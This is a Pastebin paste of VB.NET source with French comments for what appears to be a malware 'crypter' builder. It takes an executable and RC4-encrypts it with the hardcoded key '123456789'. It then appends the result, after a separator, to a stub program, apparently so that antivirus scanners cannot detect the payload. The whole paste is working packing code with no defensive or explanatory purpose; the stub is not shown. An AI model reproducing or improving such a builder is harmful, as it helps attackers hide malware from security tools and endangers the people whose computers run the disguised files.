Advertisement
Guest User

BUILDER

a guest
May 30th, 2011
1,531
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Text
  2.  
  3. Public Class Form1
  4.     Const filesplit = "123456789"
  5.  
  6.     Private Sub jouvre_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles jouvre.Click
  7.         Dim x As New OpenFileDialog 'simule une open file dialog
  8.        x.Filter = "Exécutables |*.exe" 'nous indique quel fichier peut être séléctionné ici uniquement les éxecutables
  9.        x.InitialDirectory = "/VotreDossier" 'le répertoire de départ lorsque la boite de dialogue s'affichera
  10.        x.Multiselect = False 'séléctionner plusieurs fichiers ? Dans notre cas non laissez sur "False"
  11.        If x.ShowDialog = Windows.Forms.DialogResult.OK Then ' si on clique sur "OK"
  12.            emplacement.Text = x.FileName 'la textebox emplacement affiche où ce situe notre fichier à crytper.
  13.        Else 'si aucune action ne s'éxécute (exemple : on ne séléctionne pas de fichier)
  14.            MsgBox("Vous n'avez pas ouvert de fichier !") 'affiche message
  15.            jecrytpe.Enabled = False 'le bouton crypter ne devient plus utilisable
  16.            emplacement.Text = "aucun fichier !" 'la textbox "emplacement" nous affiche qu'il n'y a aucun fichier
  17.  
  18.         End If ' fin de la réponse
  19.    End Sub
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.     Public Function RC4(ByVal message As String, ByVal password As String) As String
  28.  
  29.         Dim i As Integer = 0
  30.         Dim j As Integer = 0
  31.         Dim cipher As New StringBuilder
  32.         Dim returnCipher As String = String.Empty
  33.  
  34.         Dim sbox As Integer() = New Integer(256) {}
  35.         Dim key As Integer() = New Integer(256) {}
  36.  
  37.         Dim intLength As Integer = password.Length
  38.  
  39.         Dim a As Integer = 0
  40.         While a <= 255
  41.  
  42.             Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
  43.  
  44.             key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
  45.             sbox(a) = a
  46.             System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
  47.         End While
  48.  
  49.         Dim x As Integer = 0
  50.  
  51.         Dim b As Integer = 0
  52.         While b <= 255
  53.             x = (x + sbox(b) + key(b)) Mod 256
  54.             Dim tempSwap As Integer = sbox(b)
  55.             sbox(b) = sbox(x)
  56.             sbox(x) = tempSwap
  57.             System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
  58.         End While
  59.  
  60.         a = 1
  61.  
  62.         While a <= message.Length
  63.  
  64.             Dim itmp As Integer = 0
  65.  
  66.             i = (i + 1) Mod 256
  67.             j = (j + sbox(i)) Mod 256
  68.             itmp = sbox(i)
  69.             sbox(i) = sbox(j)
  70.             sbox(j) = itmp
  71.  
  72.             Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
  73.  
  74.             Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
  75.  
  76.             itmp = Asc(ctmp)
  77.  
  78.             Dim cipherby As Integer = itmp Xor k
  79.  
  80.             cipher.Append(Chr(cipherby))
  81.             System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
  82.         End While
  83.  
  84.         returnCipher = cipher.ToString
  85.         cipher.Length = 0
  86.  
  87.         Return returnCipher
  88.  
  89.     End Function
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.     Private Sub jecrytpe_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles jecrytpe.Click
  120.         Dim filein, filename, stub As String
  121.         Dim sfd As New SaveFileDialog
  122.         sfd.Filter = "Exécutables |*.exe "
  123.         If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
  124.  
  125.             filename = sfd.FileName
  126.  
  127.  
  128.         Else : Exit Sub
  129.         End If
  130.         FileOpen(1, emplacement.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  131.         filein = Space(LOF(1))
  132.         FileGet(1, filein)
  133.         FileClose(1)
  134.         FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
  135.         stub = Space(LOF(1))
  136.         FileGet(1, stub)
  137.  
  138.         FileClose(1)
  139.         FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
  140.         FilePut(1, stub & filesplit & RC4(filein, "123456789"))
  141.         FileClose(1)
  142.         MsgBox("le fichier a été crypté")
  143.  
  144.  
  145.     End Sub
  146.  
  147.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  148.  
  149.     End Sub
  150. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement